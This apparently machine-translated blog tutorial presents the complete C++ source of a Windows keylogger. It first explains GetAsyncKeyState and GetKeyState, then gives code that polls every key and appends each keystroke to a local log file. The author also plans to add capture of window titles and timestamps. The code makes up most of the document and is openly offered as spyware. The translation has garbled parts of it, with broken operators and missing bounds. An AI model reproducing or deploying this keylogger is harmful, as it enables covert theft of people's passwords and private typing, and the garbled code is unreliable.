First of all, I am also learn from other people's source code. Because if still follow from the beginning to look at VC + + to do the words must be too late, then I directly to the analysis to understand other people's code, learn from it and re-realize it again, and make some improvements.
Let's start by introducing the APIs used:
1, FStream This is a C + + processing file of a class, there are a lot of file processing functions. Defining this object allows you to use many of these member methods.
2, Getasynckeystate:
function getasynckeystate determine if a key is bouncing or pressed when it is called, And whether the key was pressed (or pressed) after the last Call to Getasynckeystate ("again").
If the function succeeds, the return value specifies whether the key has been pressed since the last time the getasynckeystate was last called, and if the key is currently bouncing or pressed. If the highest bit is set (which is set to 1), the button is pressed and not bouncing, and if the lowest bit is set, the key is pressed after the last call to Getasynckeystate ("again"). But you should not rely on the previous (key) behavior
3,getkeystate
With a virtual key parameter, returns the state of the virtual button, whether it is pressed or bounced, or is the specific trigger state of a key such as an uppercase lock key.
If the high-order bit is 1, the key is in the down state, otherwise the up state.
If the low-order bit is 1, the key is triggered. For example, the CAPS LOCK key will be triggered when the drive is found. If the low-order position is 0, the key is closed and is not triggered. The light that triggers the key on the keyboard is lit when the key is triggered and is extinguished when the key is not triggered.
When you check these states, you need to calculate them in the form of bit operations.
Next is the specific code, which I should write very clearly
#include <iostream> #include <stdio.h> #include <stdlib.h> #include <windows.h> #include < winuser.h> #include <string> #include <fstream>using namespace std;const int keyboardvalue = 0x80000000; string getkeyname (int); bool Judgeshift ();
#include "Main.h" int Main () {String FileName = "F:\\recover\\2014.7-2015.1\\keyborad\\log.txt"; string KeyName = ""; FStream FileStream; Filestream.open (Filename.c_str (), Std::fstream::out | std::fstream::app), while (1) {Sleep (5); for (int i = 8; I <= 255; i + +) {if (Getasynckeystate (i) &1 = = 1)//Determines whether the virtual key is pressed, whether it is pressed or pressed, only to determine whether it has been pressed {KeyName = Getkeyname (i); FileStream.Write (Keyname.c_str (), keyname.size ()); Filestream.close (); Once written, save once Filestream.open (Filename.c_str (), std::fstream::out | std::fstream::app);}}} return 0;} string getkeyname (int numkey) {bool Is_shift = Judgeshift (); String revalue = "";//determine the special symbol in the middle of the keyboard if (Numkey >= 186 && ; Numkey <= 222) switch (numkey) {case 186:if (is_shift) revalue = ":"; else revalue = ";"; Break;case 187:if (is_shift) revalue = "+", else revalue = "="; break;case 188:if (is_shift) revalue = "<"; else revalue = " , "; Break;case 189:if (is_shift) Revalue =" _ "; else revalue ="-"; break;case 190:if (is_shift) revalue =" > "; else revalue = "."; Break;case 191:if (is_shift) revalue = "?"; else revalue = "/"; break;case 192:if (is_shift) revalue = "~"; else revalue = "'"; break;case 219:if (is_shift) revalue = "{"; else revalue = "["; break;case 220:if (is_shift) revalue = "|"; else revalue = "\"; break;case 221:if (is_shift) revalue = "}"; elserevalue = "]"; break;case 222:if (is_shift) revalue = ' "'; e Lserevalue = ",";d efault:revalue = "error"; if (Numkey = = vk_escape)//exit revalue = "[ESC]", else if (Numkey = = vk_f1)//F1 to F12revalue = "[F1]"; else if (Numkey = = Vk_ F2) revalue = "[F2]", else if (Numkey = = vk_f3) revalue = "[F3]"; else if (Numkey = vk_f4) revalue = "[F4]"; else if (Numkey = VK_F5) revalue = "[F5]", else if (Numkey = = Vk_f6) revalue = "[F6]"; else if (Numkey = vk_f7) revalue = "[F7]"; else if (Numke y = = Vk_f8) revalue = "[F8]", else if (Numkey = = vk_f9) revalue = "[F9]"; else if (Numkey = vk_f10) revalue = "[F10]"; else if (Numkey = = vk_f11) revalue = "[F11]"; else if (Numkey = = vk_f12) revalue = "[F12]"; else if (NumKey = = vk_snapshot)//PRINT Screen revalue = "[Prscrn]"; else if (Numkey = = vk_scroll)//SCROLL LOCK revalue = "[SCROLL lock]"; else if (Nu Mkey = = vk_pause)//pause, interrupt revalue = "[Pause]", else if (Numkey = = vk_capital)//Caps LOCK revalue = "[caps Lock]"; else if (Numke y = = 8)//<-revalue = "[Backspace]"; else if (Numkey = = Vk_return)//return, newline revalue = "[enter]\n"; else if (Numkey = = Vk_space)//Space revalue = "", else if (Numkey = = vk_tab)//Tab key revalue = "[Tab]"; else if (Numkey = Vk_lcontrol)//left control key re Value = "[Ctrl]", else if (Numkey = = Vk_rcontrol)//Right Control key revalue = "[Ctrl]"; else if (Numkey = = Vk_lmenu)//left SHIFT key revalue = " [Alt] "; else if (Numkey = = vk_lmenu)//Right SHIFT key revalue =" [Alt] "; else if (Numkey = = Vk_lwin)//Right WINDOWS key revalue =" [Win] "; e LSE if (Numkey = = Vk_rwin)//Right WINDOWS key revalue = "[WIN]"; else if (Numkey = = Vk_apps)//keyboard Right revalue = "right button"; else if (Nu Mkey = = Vk_insert)//Insert revalue = "[insert]", else if (Numkey = = vk_delete)//Delete revalue = "[delete]"; else if (Numkey = = VK _home)//Start revalue = "[Home] "; else if (Numkey = = vk_end)//End revalue =" [end] ", else if (Numkey = = Vk_prior)//Previous Page revalue =" [PgUp] "; else if (Nu Mkey = = vk_next)//Next page revalue = "[Pgdown]";//Infrequently used keys: General keyboard without else if (Numkey = vk_cancel)//Cancelrevalue = "[CANCEL]"; e LSE if (Numkey = = vk_clear)//Clearrevalue = "[CLEAR]", else if (Numkey = = vk_select)//selectrevalue = "[select]"; else if (Numkey = = vk_print)//printrevalue = "[PRINT]"; else if (Numkey = = vk_execute)//executerevalue = "[EXECUTE]";//--------- -------------------------------//else if (Numkey = = vk_left)//Up, down, left, right revalue = "[←]"; else if (Numkey = = vk_right) Revalu e = "[→]"; else if (Numkey = = vk_up) revalue = "[↑]"; else if (Numkey = = Vk_down) revalue = "[↓]"; else if (Numkey = Vk_numloc K)//keypad digital Lock revalue = "[NumLock]"; else if (Numkey = = Vk_add)//Add, subtract, multiply, divide revalue = "+"; else if (Numkey = vk_subtract) revalue = "-"; else if (Numkey = = vk_multiply) Revalue = "*"; else if (Numkey = = vk_divide) revalue = "/"; else if (Numkey = = | | | N Umkey = = 110)//keypad. and keyDisk. Revalue = "."; /keypad number key: 0-9else if (Numkey = = vk_numpad0) revalue = "0"; else if (Numkey = = vk_numpad1) revalue = "1"; else if (Numkey = = Vk_n UMPAD2) revalue = "2", else if (Numkey = = vk_numpad3) Revalue = "3", else if (Numkey = = vk_numpad4) Revalue = "4"; else if (numk EY = = vk_numpad5) Revalue = "5", else if (Numkey = = vk_numpad6) Revalue = "6", else if (Numkey = = Vk_numpad7) revalue = "7"; Els E if (Numkey = = Vk_numpad8) Revalue = "8", else if (Numkey = = vk_numpad9) Revalue = "9";//----------------------------The above code-judging key function keys except letters on the disk--------------------------------//else if (numkey >=65 && numkey <=) {if (getkeystate Capital) {if (is_shift) revalue = Numkey + 32;elserevalue = Numkey;} Else{if (is_shift) revalue = Numkey;elserevalue = Numkey + 32;}} ---------------------------the above section to determine the letters on the keyboard----------------------------------------------//else if (Numkey >= 48 && Numkey <=) {if (is_shift) {switch (numkey) {case 48:revalue = ")"; Break;case 49:revalue = "!"; Break;case 50:revalue = "@"; BREak;case 51:revalue = "#"; Break;case 52:revalue = "$"; break;case 53:revalue = "%"; break;case 54:revalue = "^"; Break;case 5 5:revalue = "&"; Break;case 56:revalue = "*"; Break;case 57:revalue = "("; break;}} Else{switch (numkey) {case 48:revalue = "0"; Break;case 49:revalue = "1"; Break;case 50:revalue = "2"; break;case 51:revalue = "3"; Break;case 52:revalue = "4"; Break;case 53:revalue = "5"; Break;case 54:revalue = "6"; Break;case 55:revalue = "7"; break Case 56:revalue = "8", break;case 57:revalue = "9"; break;}} return revalue;} BOOL Judgeshift () {int ishift=getkeystate (0x10);//Judgment Shift key State bool Is= (Ishift & Keyboardvalue) ==keyboardvalue;//Expression Press the SHIFT key if (IS) return 1;elsereturn 0;}
Basically realize the keyboard out of the home button that part of all the key record, this is only to achieve the most basic function, the subsequent version should also have the name of the input window to obtain, time, content, and some combination of key will be involved.
C + + Implementation Keylogger v1.0